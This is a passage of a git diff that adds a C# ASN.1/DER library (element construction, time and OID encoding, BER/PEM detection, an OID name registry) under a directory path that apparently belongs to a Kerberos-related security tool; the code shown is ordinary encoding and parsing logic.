If there is a fractional second, then it must include + * at least one digit. This implementation processes the + * first three digits, and ignores the rest (if present). + * -- Time zone offset ranges from -23:59 to +23:59. + * -- The calendar computations are delegated to .NET's + * DateTime (and DateTimeOffset) so this implements a + * Gregorian calendar, even for dates before 1589. Year 0 + * is not supported. + */ + + /* + * Check characters. + */ + foreach (char c in s) { + if (c >= '0' && c <= '9') { + continue; + } + if (c == '.' || c == '+' || c == '-' || c == 'Z') { + continue; + } + throw BadTime(type, orig); + } + + bool good = true; + + /* + * Parse the time zone. + */ + int tzHours = 0; + int tzMinutes = 0; + bool negZ = false; + bool noTZ = false; + if (s.EndsWith("Z")) { + s = s.Substring(0, s.Length - 1); + } else { + int j = s.IndexOf('+'); + if (j < 0) { + j = s.IndexOf('-'); + negZ = true; + } + if (j < 0) { + noTZ = true; + } else { + string t = s.Substring(j + 1); + s = s.Substring(0, j); + if (t.Length != 4) { + throw BadTime(type, orig); + } + tzHours = Dec2(t, 0, ref good); + tzMinutes = Dec2(t, 2, ref good); + if (tzHours < 0 || tzHours > 23 + || tzMinutes < 0 || tzMinutes > 59) + { + throw BadTime(type, orig); + } + } + } + + /* + * Lack of time zone is allowed only for GeneralizedTime. + */ + if (noTZ && !isGen) { + throw BadTime(type, orig); + } + + /* + * Parse the date elements. + */ + if (s.Length < 4) { + throw BadTime(type, orig); + } + int year = Dec2(s, 0, ref good); + if (isGen) { + year = year * 100 + Dec2(s, 2, ref good); + s = s.Substring(4); + } else { + if (year < 50) { + year += 100; + } + year += 1900; + s = s.Substring(2); + } + int month = Dec2(s, 0, ref good); + int day = Dec2(s, 2, ref good); + int hour = Dec2(s, 4, ref good); + int minute = Dec2(s, 6, ref good); + int second = 0; + int millisecond = 0; + if (isGen) { + second = Dec2(s, 8, ref good); + if (s.Length >= 12 && s[10] == '.') { + s = s.Substring(11); + foreach (char c in s) { + if (c < '0' || c > '9') { + good = false; + break; + } + } + s += "0000"; + millisecond = 10 * Dec2(s, 0, ref good) + + Dec2(s, 2, ref good) / 10; + } else if (s.Length != 10) { + good = false; + } + } else { + switch (s.Length) { + case 8: + break; + case 10: + second = Dec2(s, 8, ref good); + break; + default: + throw BadTime(type, orig); + } + } + + /* + * Parsing is finished; if any error occurred, then + * the 'good' flag has been cleared. + */ + if (!good) { + throw BadTime(type, orig); + } + + /* + * Leap seconds are not supported by .NET, so we claim + * they do not occur. + */ + if (second == 60) { + second = 59; + } + + /* + * .NET implementation performs all the checks (including + * checks on month length depending on year, as per the + * proleptic Gregorian calendar). + */ + try { + if (noTZ) { + DateTime dt = new DateTime(year, month, day, + hour, minute, second, millisecond, + DateTimeKind.Local); + return dt.ToUniversalTime(); + } + TimeSpan tzOff = new TimeSpan(tzHours, tzMinutes, 0); + if (negZ) { + tzOff = tzOff.Negate(); + } + DateTimeOffset dto = new DateTimeOffset( + year, month, day, hour, minute, second, + millisecond, tzOff); + return dto.UtcDateTime; + } catch (Exception e) { + throw BadTime(type, orig, e); + } + } + + static int Dec2(string s, int off, ref bool good) + { + if (off < 0 || off >= (s.Length - 1)) { + good = false; + return -1; + } + char c1 = s[off]; + char c2 = s[off + 1]; + if (c1 < '0' || c1 > '9' || c2 < '0' || c2 > '9') { + good = false; + return -1; + } + return 10 * (c1 - '0') + (c2 - '0'); + } + + static AsnException BadTime(int type, string s) + { + return BadTime(type, s, null); + } + + static AsnException BadTime(int type, string s, Exception e) + { + string tt = (type == UTCTime) ? "UTCTime" : "GeneralizedTime"; + string msg = String.Format("invalid {0} string: '{1}'", tt, s); + if (e == null) { + return new AsnException(msg); + } else { + return new AsnException(msg, e); + } + } + + /* =============================================================== */ + + /* + * Create a new element for a primitive value. The provided buffer + * is internally copied. + */ + public static AsnElt MakePrimitive(int tagValue, byte[] val) + { + return MakePrimitive(UNIVERSAL, tagValue, val, 0, val.Length); + } + + /* + * Create a new element for a primitive value. The provided buffer + * is internally copied. + */ + public static AsnElt MakePrimitive(int tagValue, + byte[] val, int off, int len) + { + return MakePrimitive(UNIVERSAL, tagValue, val, off, len); + } + + /* + * Create a new element for a primitive value. The provided buffer + * is internally copied. + */ + public static AsnElt MakePrimitive( + int tagClass, int tagValue, byte[] val) + { + return MakePrimitive(tagClass, tagValue, val, 0, val.Length); + } + + /* + * Create a new element for a primitive value. The provided buffer + * is internally copied. + */ + public static AsnElt MakePrimitive(int tagClass, int tagValue, + byte[] val, int off, int len) + { + byte[] nval = new byte[len]; + Array.Copy(val, off, nval, 0, len); + return MakePrimitiveInner(tagClass, tagValue, nval, 0, len); + } + + /* + * Like MakePrimitive(), but the provided array is NOT copied. + * This is for other factory methods that already allocate a + * new array. + */ + static AsnElt MakePrimitiveInner(int tagValue, byte[] val) + { + return MakePrimitiveInner(UNIVERSAL, tagValue, + val, 0, val.Length); + } + + static AsnElt MakePrimitiveInner(int tagValue, + byte[] val, int off, int len) + { + return MakePrimitiveInner(UNIVERSAL, tagValue, val, off, len); + } + + static AsnElt MakePrimitiveInner(int tagClass, int tagValue, byte[] val) + { + return MakePrimitiveInner(tagClass, tagValue, + val, 0, val.Length); + } + + static AsnElt MakePrimitiveInner(int tagClass, int tagValue, + byte[] val, int off, int len) + { + AsnElt a = new AsnElt(); + a.objBuf = new byte[len]; + Array.Copy(val, off, a.objBuf, 0, len); + a.objOff = 0; + a.objLen = -1; + a.valOff = 0; + a.valLen = len; + a.hasEncodedHeader = false; + if (tagClass < 0 || tagClass > 3) { + throw new AsnException( + "invalid tag class: " + tagClass); + } + if (tagValue < 0) { + throw new AsnException( + "invalid tag value: " + tagValue); + } + a.TagClass = tagClass; + a.TagValue = tagValue; + a.Sub = null; + return a; + } + + /* + * Create a new INTEGER value for the provided integer. + */ + public static AsnElt MakeInteger(long x) + { + if (x >= 0) { + return MakeInteger((ulong)x); + } + int k = 1; + for (long w = x; w <= -(long)0x80; w >>= 8) { + k ++; + } + byte[] v = new byte[k]; + for (long w = x; k > 0; w >>= 8) { + v[-- k] = (byte)w; + } + return MakePrimitiveInner(INTEGER, v); + } + + /* + * Create a new INTEGER value for the provided integer. + */ + public static AsnElt MakeInteger(ulong x) + { + int k = 1; + for (ulong w = x; w >= 0x80; w >>= 8) { + k ++; + } + byte[] v = new byte[k]; + for (ulong w = x; k > 0; w >>= 8) { + v[-- k] = (byte)w; + } + return MakePrimitiveInner(INTEGER, v); + } + + /* + * Create a new INTEGER value for the provided integer. The x[] + * array uses _unsigned_ big-endian encoding. + */ + public static AsnElt MakeInteger(byte[] x) + { + int xLen = x.Length; + int j = 0; + while (j < xLen && x[j] == 0x00) { + j ++; + } + if (j == xLen) { + return MakePrimitiveInner(INTEGER, new byte[] { 0x00 }); + } + byte[] v; + if (x[j] < 0x80) { + v = new byte[xLen - j]; + Array.Copy(x, j, v, 0, v.Length); + } else { + v = new byte[1 + xLen - j]; + Array.Copy(x, j, v, 1, v.Length - 1); + } + return MakePrimitiveInner(INTEGER, v); + } + + /* + * Create a new INTEGER value for the provided integer. The x[] + * array uses _signed_ big-endian encoding. + */ + public static AsnElt MakeIntegerSigned(byte[] x) + { + int xLen = x.Length; + if (xLen == 0) { + throw new AsnException( + "Invalid signed integer (empty)"); + } + int j = 0; + if (x[0] >= 0x80) { + while (j < (xLen - 1) + && x[j] == 0xFF + && x[j + 1] >= 0x80) + { + j ++; + } + } else { + while (j < (xLen - 1) + && x[j] == 0x00 + && x[j + 1] < 0x80) + { + j ++; + } + } + byte[] v = new byte[xLen - j]; + Array.Copy(x, j, v, 0, v.Length); + return MakePrimitiveInner(INTEGER, v); + } + + /* + * Create a BIT STRING from the provided value. The number of + * "unused bits" is set to 0. + */ + public static AsnElt MakeBitString(byte[] buf) + { + return MakeBitString(buf, 0, buf.Length); + } + + public static AsnElt MakeBitString(byte[] buf, int off, int len) + { + byte[] tmp = new byte[len + 1]; + Array.Copy(buf, off, tmp, 1, len); + return MakePrimitiveInner(BIT_STRING, tmp); + } + + /* + * Create a BIT STRING from the provided value. The number of + * "unused bits" is specified. + */ + public static AsnElt MakeBitString(int unusedBits, byte[] buf) + { + return MakeBitString(unusedBits, buf, 0, buf.Length); + } + + public static AsnElt MakeBitString(int unusedBits, + byte[] buf, int off, int len) + { + if (unusedBits < 0 || unusedBits > 7 + || (unusedBits != 0 && len == 0)) + { + throw new AsnException( + "Invalid number of unused bits in BIT STRING: " + + unusedBits); + } + byte[] tmp = new byte[len + 1]; + tmp[0] = (byte)unusedBits; + Array.Copy(buf, off, tmp, 1, len); + if (len > 0) { + tmp[len - 1] &= (byte)(0xFF << unusedBits); + } + return MakePrimitiveInner(BIT_STRING, tmp); + } + + /* + * Create an OCTET STRING from the provided value. + */ + public static AsnElt MakeBlob(byte[] buf) + { + return MakeBlob(buf, 0, buf.Length); + } + + public static AsnElt MakeBlob(byte[] buf, int off, int len) + { + return MakePrimitive(OCTET_STRING, buf, off, len); + } + + /* + * Create a new constructed elements, by providing the relevant + * sub-elements. + */ + public static AsnElt Make(int tagValue, params AsnElt[] subs) + { + return Make(UNIVERSAL, tagValue, subs); + } + + /* + * Create a new constructed elements, by providing the relevant + * sub-elements. + */ + public static AsnElt Make(int tagClass, int tagValue, + params AsnElt[] subs) + { + AsnElt a = new AsnElt(); + a.objBuf = null; + a.objOff = 0; + a.objLen = -1; + a.valOff = 0; + a.valLen = -1; + a.hasEncodedHeader = false; + if (tagClass < 0 || tagClass > 3) { + throw new AsnException( + "invalid tag class: " + tagClass); + } + if (tagValue < 0) { + throw new AsnException( + "invalid tag value: " + tagValue); + } + a.TagClass = tagClass; + a.TagValue = tagValue; + if (subs == null) { + a.Sub = new AsnElt[0]; + } else { + a.Sub = new AsnElt[subs.Length]; + Array.Copy(subs, 0, a.Sub, 0, subs.Length); + } + return a; + } + + /* + * Create a SET OF: sub-elements are automatically sorted by + * lexicographic order of their DER encodings. Identical elements + * are merged. + */ + public static AsnElt MakeSetOf(params AsnElt[] subs) + { + AsnElt a = new AsnElt(); + a.objBuf = null; + a.objOff = 0; + a.objLen = -1; + a.valOff = 0; + a.valLen = -1; + a.hasEncodedHeader = false; + a.TagClass = UNIVERSAL; + a.TagValue = SET; + if (subs == null) { + a.Sub = new AsnElt[0]; + } else { + SortedDictionary d = + new SortedDictionary( + COMPARER_LEXICOGRAPHIC); + foreach (AsnElt ax in subs) { + d[ax.Encode()] = ax; + } + AsnElt[] tmp = new AsnElt[d.Count]; + int j = 0; + foreach (AsnElt ax in d.Values) { + tmp[j ++] = ax; + } + a.Sub = tmp; + } + return a; + } + + static IComparer COMPARER_LEXICOGRAPHIC = + new ComparerLexicographic(); + + class ComparerLexicographic : IComparer { + + public int Compare(byte[] x, byte[] y) + { + int xLen = x.Length; + int yLen = y.Length; + int cLen = Math.Min(xLen, yLen); + for (int i = 0; i < cLen; i ++) { + if (x[i] != y[i]) { + return (int)x[i] - (int)y[i]; + } + } + return xLen - yLen; + } + } + + /* + * Wrap an element into an explicit tag. + */ + public static AsnElt MakeExplicit(int tagClass, int tagValue, AsnElt x) + { + return Make(tagClass, tagValue, x); + } + + /* + * Wrap an element into an explicit CONTEXT tag. + */ + public static AsnElt MakeExplicit(int tagValue, AsnElt x) + { + return Make(CONTEXT, tagValue, x); + } + + /* + * Apply an implicit tag to a value. The source AsnElt object + * is unmodified; a new object is returned. + */ + public static AsnElt MakeImplicit(int tagClass, int tagValue, AsnElt x) + { + if (x.Constructed) { + return Make(tagClass, tagValue, x.Sub); + } + AsnElt a = new AsnElt(); + a.objBuf = x.GetValue(out a.valOff, out a.valLen); + a.objOff = 0; + a.objLen = -1; + a.hasEncodedHeader = false; + a.TagClass = tagClass; + a.TagValue = tagValue; + a.Sub = null; + return a; + } + + public static AsnElt NULL_V = AsnElt.MakePrimitive( + NULL, new byte[0]); + + public static AsnElt BOOL_TRUE = AsnElt.MakePrimitive( + BOOLEAN, new byte[] { 0xFF }); + public static AsnElt BOOL_FALSE = AsnElt.MakePrimitive( + BOOLEAN, new byte[] { 0x00 }); + + /* + * Create an OBJECT IDENTIFIER from its string representation. + * This function tolerates extra leading zeros. + */ + public static AsnElt MakeOID(string str) + { + List r = new List(); + int n = str.Length; + long x = -1; + for (int i = 0; i < n; i ++) { + int c = str[i]; + if (c == '.') { + if (x < 0) { + throw new AsnException( + "invalid OID (empty element)"); + } + r.Add(x); + x = -1; + continue; + } + if (c < '0' || c > '9') { + throw new AsnException(String.Format( + "invalid character U+{0:X4} in OID", + c)); + } + if (x < 0) { + x = 0; + } else if (x > ((Int64.MaxValue - 9) / 10)) { + throw new AsnException("OID element overflow"); + } + x = x * (long)10 + (long)(c - '0'); + } + if (x < 0) { + throw new AsnException( + "invalid OID (empty element)"); + } + r.Add(x); + if (r.Count < 2) { + throw new AsnException( + "invalid OID (not enough elements)"); + } + if (r[0] > 2 || r[1] > 40) { + throw new AsnException( + "invalid OID (first elements out of range)"); + } + + MemoryStream ms = new MemoryStream(); + ms.WriteByte((byte)(40 * (int)r[0] + (int)r[1])); + for (int i = 2; i < r.Count; i ++) { + long v = r[i]; + if (v < 0x80) { + ms.WriteByte((byte)v); + continue; + } + int k = -7; + for (long w = v; w != 0; w >>= 7, k += 7); + ms.WriteByte((byte)(0x80 + (int)(v >> k))); + for (k -= 7; k >= 0; k -= 7) { + int z = (int)(v >> k) & 0x7F; + if (k > 0) { + z |= 0x80; + } + ms.WriteByte((byte)z); + } + } + byte[] buf = ms.ToArray(); + return MakePrimitiveInner(OBJECT_IDENTIFIER, + buf, 0, buf.Length); + } + + /* + * Create a string of the provided type and contents. The string + * type is a universal tag value for one of the string or time + * types. + */ + public static AsnElt MakeString(int type, string str) + { + VerifyChars(str.ToCharArray(), type); + byte[] buf; + switch (type) { + case NumericString: + case PrintableString: + case UTCTime: + case GeneralizedTime: + case IA5String: + case TeletexString: + case GeneralString: + buf = EncodeMono(str); + break; + case UTF8String: + buf = EncodeUTF8(str); + break; + case BMPString: + buf = EncodeUTF16(str); + break; + case UniversalString: + buf = EncodeUTF32(str); + break; + default: + throw new AsnException( + "unsupported string type: " + type); + } + return MakePrimitiveInner(type, buf); + } + + static byte[] EncodeMono(string str) + { + byte[] r = new byte[str.Length]; + int k = 0; + foreach (char c in str) { + r[k ++] = (byte)c; + } + return r; + } + + /* + * Get the code point at offset 'off' in the string. Either one + * or two 'char' slots are used; 'off' is updated accordingly. + */ + static int CodePoint(string str, ref int off) + { + int c = str[off ++]; + if (c >= 0xD800 && c < 0xDC00 && off < str.Length) { + int d = str[off]; + if (d >= 0xDC00 && d < 0xE000) { + c = ((c & 0x3FF) << 10) + + (d & 0x3FF) + 0x10000; + off ++; + } + } + return c; + } + + static byte[] EncodeUTF8(string str) + { + int k = 0; + int n = str.Length; + MemoryStream ms = new MemoryStream(); + while (k < n) { + int cp = CodePoint(str, ref k); + if (cp < 0x80) { + ms.WriteByte((byte)cp); + } else if (cp < 0x800) { + ms.WriteByte((byte)(0xC0 + (cp >> 6))); + ms.WriteByte((byte)(0x80 + (cp & 63))); + } else if (cp < 0x10000) { + ms.WriteByte((byte)(0xE0 + (cp >> 12))); + ms.WriteByte((byte)(0x80 + ((cp >> 6) & 63))); + ms.WriteByte((byte)(0x80 + (cp & 63))); + } else { + ms.WriteByte((byte)(0xF0 + (cp >> 18))); + ms.WriteByte((byte)(0x80 + ((cp >> 12) & 63))); + ms.WriteByte((byte)(0x80 + ((cp >> 6) & 63))); + ms.WriteByte((byte)(0x80 + (cp & 63))); + } + } + return ms.ToArray(); + } + + static byte[] EncodeUTF16(string str) + { + byte[] buf = new byte[str.Length << 1]; + int k = 0; + foreach (char c in str) { + buf[k ++] = (byte)(c >> 8); + buf[k ++] = (byte)c; + } + return buf; + } + + static byte[] EncodeUTF32(string str) + { + int k = 0; + int n = str.Length; + MemoryStream ms = new MemoryStream(); + while (k < n) { + int cp = CodePoint(str, ref k); + ms.WriteByte((byte)(cp >> 24)); + ms.WriteByte((byte)(cp >> 16)); + ms.WriteByte((byte)(cp >> 8)); + ms.WriteByte((byte)cp); + } + return ms.ToArray(); + } + + /* + * Create a time value of the specified type (UTCTime or + * GeneralizedTime). + */ + public static AsnElt MakeTime(int type, DateTime dt) + { + dt = dt.ToUniversalTime(); + string str; + switch (type) { + case UTCTime: + int year = dt.Year; + if (year < 1950 || year >= 2050) { + throw new AsnException(String.Format( + "cannot encode year {0} as UTCTime", + year)); + } + year = year % 100; + str = String.Format( + "{0:d2}{1:d2}{2:d2}{3:d2}{4:d2}{5:d2}Z", + year, dt.Month, dt.Day, + dt.Hour, dt.Minute, dt.Second); + break; + case GeneralizedTime: + str = String.Format( + "{0:d4}{1:d2}{2:d2}{3:d2}{4:d2}{5:d2}", + dt.Year, dt.Month, dt.Day, + dt.Hour, dt.Minute, dt.Second); + int millis = dt.Millisecond; + if (millis != 0) { + if (millis % 100 == 0) { + str = String.Format("{0}.{1:d1}", + str, millis / 100); + } else if (millis % 10 == 0) { + str = String.Format("{0}.{1:d2}", + str, millis / 10); + } else { + str = String.Format("{0}.{1:d3}", + str, millis); + } + } + str = str + "Z"; + break; + default: + throw new AsnException( + "unsupported time type: " + type); + } + return MakeString(type, str); + } + + /* + * Create a time value of the specified type (UTCTime or + * GeneralizedTime). + */ + public static AsnElt MakeTime(int type, DateTimeOffset dto) + { + return MakeTime(type, dto.UtcDateTime); + } + + /* + * Create a time value with an automatic type selection + * (UTCTime if year is in the 1950..2049 range, GeneralizedTime + * otherwise). + */ + public static AsnElt MakeTimeAuto(DateTime dt) + { + dt = dt.ToUniversalTime(); + return MakeTime((dt.Year >= 1950 && dt.Year <= 2049) + ? UTCTime : GeneralizedTime, dt); + } + + /* + * Create a time value with an automatic type selection + * (UTCTime if year is in the 1950..2049 range, GeneralizedTime + * otherwise). + */ + public static AsnElt MakeTimeAuto(DateTimeOffset dto) + { + return MakeTimeAuto(dto.UtcDateTime); + } +} + +} diff --git a/inc/kerbtgs/CrackMapCore/Asn1/AsnException.cs b/inc/kerbtgs/CrackMapCore/Asn1/AsnException.cs new file mode 100644 index 0000000..852bd72 --- /dev/null +++ b/inc/kerbtgs/CrackMapCore/Asn1/AsnException.cs @@ -0,0 +1,19 @@ +using System; +using System.IO; + +namespace Asn1 { + +public class AsnException : IOException { + + public AsnException(string message) + : base(message) + { + } + + public AsnException(string message, Exception nested) + : base(message, nested) + { + } +} + +} diff --git a/inc/kerbtgs/CrackMapCore/Asn1/AsnIO.cs b/inc/kerbtgs/CrackMapCore/Asn1/AsnIO.cs new file mode 100644 index 0000000..04883ec --- /dev/null +++ b/inc/kerbtgs/CrackMapCore/Asn1/AsnIO.cs @@ -0,0 +1,309 @@ +using System; +using System.Collections.Generic; +using System.IO; +using System.Text; + +namespace Asn1 { + +public static class AsnIO { + + public static byte[] FindDER(byte[] buf) + { + return FindBER(buf, true); + } + + public static byte[] FindBER(byte[] buf) + { + return FindBER(buf, false); + } + + /* + * Find a BER/DER object in the provided buffer. If the data is + * not already in the right format, conversion to string then + * Base64 decoding is attempted; in the latter case, PEM headers + * are detected and skipped. In any case, the returned buffer + * must begin with a well-formed tag and length, corresponding to + * the object length. + * + * If 'strictDER' is true, then the function furthermore insists + * on the object to use a defined DER length. + * + * The returned buffer may be the source buffer itself, or a newly + * allocated buffer. + * + * On error, null is returned. + */ + public static byte[] FindBER(byte[] buf, bool strictDER) + { + string pemType = null; + return FindBER(buf, strictDER, out pemType); + } + + /* + * Find a BER/DER object in the provided buffer. If the data is + * not already in the right format, conversion to string then + * Base64 decoding is attempted; in the latter case, PEM headers + * are detected and skipped. In any case, the returned buffer + * must begin with a well-formed tag and length, corresponding to + * the object length. + * + * If 'strictDER' is true, then the function furthermore insists + * on the object to use a defined DER length. + * + * If the source was detected to use PEM, then the object type + * indicated by the PEM header is written in 'pemType'; otherwise, + * that variable is set to null. + * + * The returned buffer may be the source buffer itself, or a newly + * allocated buffer. + * + * On error, null is returned. + */ + public static byte[] FindBER(byte[] buf, + bool strictDER, out string pemType) + { + pemType = null; + + /* + * If it is already (from the outside) a BER object, + * return it. + */ + if (LooksLikeBER(buf, strictDER)) { + return buf; + } + + /* + * Convert the blob to a string. We support UTF-16 with + * and without a BOM, UTF-8 with and without a BOM, and + * ASCII-compatible encodings. Non-ASCII characters get + * truncated. + */ + if (buf.Length < 3) { + return null; + } + string str = null; + if ((buf.Length & 1) == 0) { + if (buf[0] == 0xFE && buf[1] == 0xFF) { + // Starts with big-endian UTF-16 BOM + str = ConvertBi(buf, 2, true); + } else if (buf[0] == 0xFF && buf[1] == 0xFE) { + // Starts with little-endian UTF-16 BOM + str = ConvertBi(buf, 2, false); + } else if (buf[0] == 0) { + // First byte is 0 -> big-endian UTF-16 + str = ConvertBi(buf, 0, true); + } else if (buf[1] == 0) { + // Second byte is 0 -> little-endian UTF-16 + str = ConvertBi(buf, 0, false); + } + } + if (str == null) { + if (buf[0] == 0xEF + && buf[1] == 0xBB + && buf[2] == 0xBF) + { + // Starts with UTF-8 BOM + str = ConvertMono(buf, 3); + } else { + // Assumed ASCII-compatible mono-byte encoding + str = ConvertMono(buf, 0); + } + } + if (str == null) { + return null; + } + + /* + * Try to detect a PEM header and footer; if we find both + * then we remove both, keeping only the characters that + * occur in between. + */ + int p = str.IndexOf("-----BEGIN "); + int q = str.IndexOf("-----END "); + if (p >= 0 && q >= 0) { + p += 11; + int r = str.IndexOf((char)10, p) + 1; + int px = str.IndexOf('-', p); + if (px > 0 && px < r && r > 0 && r <= q) { + pemType = string.Copy(str.Substring(p, px - p)); + str = str.Substring(r, q - r); + } + } + + /* + * Convert from Base64. + */ + try { + buf = Convert.FromBase64String(str); + if (LooksLikeBER(buf, strictDER)) { + return buf; + } + } catch { + // ignored: not Base64 + } + + /* + * Decoding failed. + */ + return null; + } + + /* =============================================================== */ + + /* + * Decode a tag; returned value is true on success, false otherwise. + * On success, 'off' is updated to point to the first byte after + * the tag. + */ + static bool DecodeTag(byte[] buf, int lim, ref int off) + { + int p = off; + if (p >= lim) { + return false; + } + int v = buf[p ++]; + if ((v & 0x1F) == 0x1F) { + do { + if (p >= lim) { + return false; + } + v = buf[p ++]; + } while ((v & 0x80) != 0); + } + off = p; + return true; + } + + /* + * Decode a BER length. Returned value is: + * -2 no decodable length + * -1 indefinite length + * 0+ definite length + * If a definite or indefinite length could be decoded, then 'off' + * is updated to point to the first byte after the length. + */ + static int DecodeLength(byte[] buf, int lim, ref int off) + { + int p = off; + if (p >= lim) { + return -2; + } + int v = buf[p ++]; + if (v < 0x80) { + off = p; + return v; + } else if (v == 0x80) { + off = p; + return -1; + } + v &= 0x7F; + if ((lim - p) < v) { + return -2; + } + int acc = 0; + while (v -- > 0) { + if (acc > 0x7FFFFF) { + return -2; + } + acc = (acc << 8) + buf[p ++]; + } + off = p; + return acc; + } + + /* + * Get the length, in bytes, of the object in the provided + * buffer. The object begins at offset 'off' but does not extend + * farther than offset 'lim'. If no such BER object can be + * decoded, then -1 is returned. The returned length includes + * that of the tag and length fields. + */ + static int BERLength(byte[] buf, int lim, int off) + { + int orig = off; + if (!DecodeTag(buf, lim, ref off)) { + return -1; + } + int len = DecodeLength(buf, lim, ref off); + if (len >= 0) { + if (len > (lim - off)) { + return -1; + } + return off + len - orig; + } else if (len < -1) { + return -1; + } + + /* + * Indefinite length: we must do some recursive exploration. + * End of structure is marked by a "null tag": object has + * total length 2 and its tag byte is 0. + */ + for (;;) { + int slen = BERLength(buf, lim, off); + if (slen < 0) { + return -1; + } + off += slen; + if (slen == 2 && buf[off] == 0) { + return off - orig; + } + } + } + + static bool LooksLikeBER(byte[] buf, bool strictDER) + { + return LooksLikeBER(buf, 0, buf.Length, strictDER); + } + + static bool LooksLikeBER(byte[] buf, int off, int len, bool strictDER) + { + int lim = off + len; + int objLen = BERLength(buf, lim, off); + if (objLen != len) { + return false; + } + if (strictDER) { + DecodeTag(buf, lim, ref off); + return DecodeLength(buf, lim, ref off) >= 0; + } else { + return true; + } + } + + static string ConvertMono(byte[] buf, int off) + { + int len = buf.Length - off; + char[] tc = new char[len]; + for (int i = 0; i < len; i ++) { + int v = buf[off + i]; + if (v < 1 || v > 126) { + v = '?'; + } + tc[i] = (char)v; + } + return new string(tc); + } + + static string ConvertBi(byte[] buf, int off, bool be) + { + int len = buf.Length - off; + if ((len & 1) != 0) { + return null; + } + len >>= 1; + char[] tc = new char[len]; + for (int i = 0; i < len; i ++) { + int b0 = buf[off + (i << 1) + 0]; + int b1 = buf[off + (i << 1) + 1]; + int v = be ? ((b0 << 8) + b1) : (b0 + (b1 << 8)); + if (v < 1 || v > 126) { + v = '?'; + } + tc[i] = (char)v; + } + return new string(tc); + } +} + +} diff --git a/inc/kerbtgs/CrackMapCore/Asn1/AsnOID.cs b/inc/kerbtgs/CrackMapCore/Asn1/AsnOID.cs new file mode 100644 index 0000000..19739f5 --- /dev/null +++ b/inc/kerbtgs/CrackMapCore/Asn1/AsnOID.cs @@ -0,0 +1,294 @@ +using System; +using System.Collections.Generic; +using System.Text; + +namespace Asn1 { + +public class AsnOID { + + static Dictionary OIDToName = + new Dictionary(); + static Dictionary NameToOID = + new Dictionary(); + + static AsnOID() + { + /* + * From RFC 5280, PKIX1Explicit88 module. + */ + Reg("1.3.6.1.5.5.7", "id-pkix"); + Reg("1.3.6.1.5.5.7.1", "id-pe"); + Reg("1.3.6.1.5.5.7.2", "id-qt"); + Reg("1.3.6.1.5.5.7.3", "id-kp"); + Reg("1.3.6.1.5.5.7.48", "id-ad"); + Reg("1.3.6.1.5.5.7.2.1", "id-qt-cps"); + Reg("1.3.6.1.5.5.7.2.2", "id-qt-unotice"); + Reg("1.3.6.1.5.5.7.48.1", "id-ad-ocsp"); + Reg("1.3.6.1.5.5.7.48.2", "id-ad-caIssuers"); + Reg("1.3.6.1.5.5.7.48.3", "id-ad-timeStamping"); + Reg("1.3.6.1.5.5.7.48.5", "id-ad-caRepository"); + + Reg("2.5.4", "id-at"); + Reg("2.5.4.41", "id-at-name"); + Reg("2.5.4.4", "id-at-surname"); + Reg("2.5.4.42", "id-at-givenName"); + Reg("2.5.4.43", "id-at-initials"); + Reg("2.5.4.44", "id-at-generationQualifier"); + Reg("2.5.4.3", "id-at-commonName"); + Reg("2.5.4.7", "id-at-localityName"); + Reg("2.5.4.8", "id-at-stateOrProvinceName"); + Reg("2.5.4.10", "id-at-organizationName"); + Reg("2.5.4.11", "id-at-organizationalUnitName"); + Reg("2.5.4.12", "id-at-title"); + Reg("2.5.4.46", "id-at-dnQualifier"); + Reg("2.5.4.6", "id-at-countryName"); + Reg("2.5.4.5", "id-at-serialNumber"); + Reg("2.5.4.65", "id-at-pseudonym"); + Reg("0.9.2342.19200300.100.1.25", "id-domainComponent"); + + Reg("1.2.840.113549.1.9", "pkcs-9"); + Reg("1.2.840.113549.1.9.1", "id-emailAddress"); + + /* + * From RFC 5280, PKIX1Implicit88 module. + */ + Reg("2.5.29", "id-ce"); + Reg("2.5.29.35", "id-ce-authorityKeyIdentifier"); + Reg("2.5.29.14", "id-ce-subjectKeyIdentifier"); + Reg("2.5.29.15", "id-ce-keyUsage"); + Reg("2.5.29.16", "id-ce-privateKeyUsagePeriod"); + Reg("2.5.29.32", "id-ce-certificatePolicies"); + Reg("2.5.29.33", "id-ce-policyMappings"); + Reg("2.5.29.17", "id-ce-subjectAltName"); + Reg("2.5.29.18", "id-ce-issuerAltName"); + Reg("2.5.29.9", "id-ce-subjectDirectoryAttributes"); + Reg("2.5.29.19", "id-ce-basicConstraints"); + Reg("2.5.29.30", "id-ce-nameConstraints"); + Reg("2.5.29.36", "id-ce-policyConstraints"); + Reg("2.5.29.31", "id-ce-cRLDistributionPoints"); + Reg("2.5.29.37", "id-ce-extKeyUsage"); + + Reg("2.5.29.37.0", "anyExtendedKeyUsage"); + Reg("1.3.6.1.5.5.7.3.1", "id-kp-serverAuth"); + Reg("1.3.6.1.5.5.7.3.2", "id-kp-clientAuth"); + Reg("1.3.6.1.5.5.7.3.3", "id-kp-codeSigning"); + Reg("1.3.6.1.5.5.7.3.4", "id-kp-emailProtection"); + Reg("1.3.6.1.5.5.7.3.8", "id-kp-timeStamping"); + Reg("1.3.6.1.5.5.7.3.9", "id-kp-OCSPSigning"); + + Reg("2.5.29.54", "id-ce-inhibitAnyPolicy"); + Reg("2.5.29.46", "id-ce-freshestCRL"); + Reg("1.3.6.1.5.5.7.1.1", "id-pe-authorityInfoAccess"); + Reg("1.3.6.1.5.5.7.1.11", "id-pe-subjectInfoAccess"); + Reg("2.5.29.20", "id-ce-cRLNumber"); + Reg("2.5.29.28", "id-ce-issuingDistributionPoint"); + Reg("2.5.29.27", "id-ce-deltaCRLIndicator"); + Reg("2.5.29.21", "id-ce-cRLReasons"); + Reg("2.5.29.29", "id-ce-certificateIssuer"); + Reg("2.5.29.23", "id-ce-holdInstructionCode"); + Reg("2.2.840.10040.2", "WRONG-holdInstruction"); + Reg("2.2.840.10040.2.1", "WRONG-id-holdinstruction-none"); + Reg("2.2.840.10040.2.2", "WRONG-id-holdinstruction-callissuer"); + Reg("2.2.840.10040.2.3", "WRONG-id-holdinstruction-reject"); + Reg("2.5.29.24", "id-ce-invalidityDate"); + + /* + * These are the "right" OID. RFC 5280 mistakenly defines + * the first OID element as "2". + */ + Reg("1.2.840.10040.2", "holdInstruction"); + Reg("1.2.840.10040.2.1", "id-holdinstruction-none"); + Reg("1.2.840.10040.2.2", "id-holdinstruction-callissuer"); + Reg("1.2.840.10040.2.3", "id-holdinstruction-reject"); + + /* + * From PKCS#1. + */ + Reg("1.2.840.113549.1.1", "pkcs-1"); + Reg("1.2.840.113549.1.1.1", "rsaEncryption"); + Reg("1.2.840.113549.1.1.7", "id-RSAES-OAEP"); + Reg("1.2.840.113549.1.1.9", "id-pSpecified"); + 